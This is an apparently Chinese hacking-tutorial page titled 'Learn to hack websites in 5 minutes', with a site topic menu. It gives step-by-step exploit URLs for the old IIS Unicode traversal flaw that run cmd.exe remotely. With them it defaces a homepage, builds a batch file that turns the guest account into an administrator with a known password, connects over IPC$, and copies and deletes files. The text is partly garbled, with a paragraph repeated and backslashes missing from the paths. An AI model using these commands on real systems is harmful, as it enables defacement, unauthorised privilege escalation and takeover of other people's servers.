5分钟学会黑网站
点击次数:24 次 发布日期:2008-11-29 19:02:02 作者:源代码网
|
源代码网推荐
所有专题加密与反加密基础Windows系统网络基础知识Windows漏洞操作系统入侵安全工具的使用网站做弊手法Linux系统Unix系统其它系统网络安全知识网络防御知识网络技术文档加密解密的算法注册表与反加密加密与反加密实例Linux系统漏洞Unix系统漏洞其它安全漏洞网站服务器入侵个人电脑入侵特殊入侵手法扫描工具的使用木马工具的使用解密工具的使用炸弹工具的使用OICQ工具的使用其它工具的使用网络欺骗手法其它失传密技最新病毒特洛伊木马清除方法 如果对放有unicodi漏洞的话: 先把c:winntsystem32cmd.exe 拷贝到了c:inetpubscriptsccc.exe 拷贝,cmd.exe(必须改名)方法: http://ip/scripts/..%c1%1c../winnt/ ; system32/cmd.exe?/c+copy+c:winntsystem32cmd.exe+ccc.exe 这时c:winntsystem32cmd.exe已经拷贝到了c:inetpubscriptsccc.exe 通http://ip/scripts/ccc.exe?/c+dir+c: 可以看到c:文件。 我们就可以调用到cmd.exe了,就是说不用那个编码了。 http://ip/scripts/ ; ccc.exe?/c+echo+Hack+by+Chinese+>+c:inetpubwwwrootdefault.asp http://192.168.8.48/scripts/ccc.exe?/c+echo+1/5/2001+>>+c:inetpub wwwrootdefault.asp 主页面就被修改成了: Hack by Chinese 1/5/2001 也就是说,已经把他的主页黑了。 当然,我们也不能只停留在黑主页的地步,当然想进一步控制整个机器了。 方法: 编写.bat执行文件: 1.打开IE,输入http://ip/scripts/cmd.exe?/c ;dir 怎么样?有cmd.exe 文件了吧?这我们就完成了第一步; 2http://ip/scripts/cmd.exe?/c ;echo net user guest /active:yes>go.bat 3http://ip/scripts/cmd.exe?/c ;echo net user guest Chinese>>go.bat 4http://ip/scripts/cmd.exe?/c ;echo net localgroup administrators / add guest>>go.bat 5http://ip/scripts/cmd.exe?/c ;type go.bat 看看我们的批文件内容是否如下:
net user guest /active:yes net user guest Chinese net localgroup administrators /add guest
然后在: http://ip/scripts/go.bat ; 在磁盘当前位置执行. 他的guest密码就是“Chinese” 而且是超级用户。 然后你就可以: net use \ipipc$Content$nbsp;"Chinese" /user:"guest" 其余的net命令在这我就不都说了!
当然你也可以: 执行http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/ ; c+dir+c:发现列出了远程主机C:下的所有文件 执行: http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/ ; c +copy%20c:autoexec.bat+c:autoexec.bak 成功实现文件的复制, 执行http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/ ; c+del%20c:autoexec.bak 成功实现文件的删除他的guest密码就是“Chinese” 而且是超级用户。 然后你就可以: net use \ipipc$Content$nbsp;"Chinese" /user:"guest" 其余的net命令在这我就不都说了! 多謝E-BADBOY
就是不懂提高權限到ADMIN.
源代码网整理以下
源代码网整理以下
源代码网供稿. |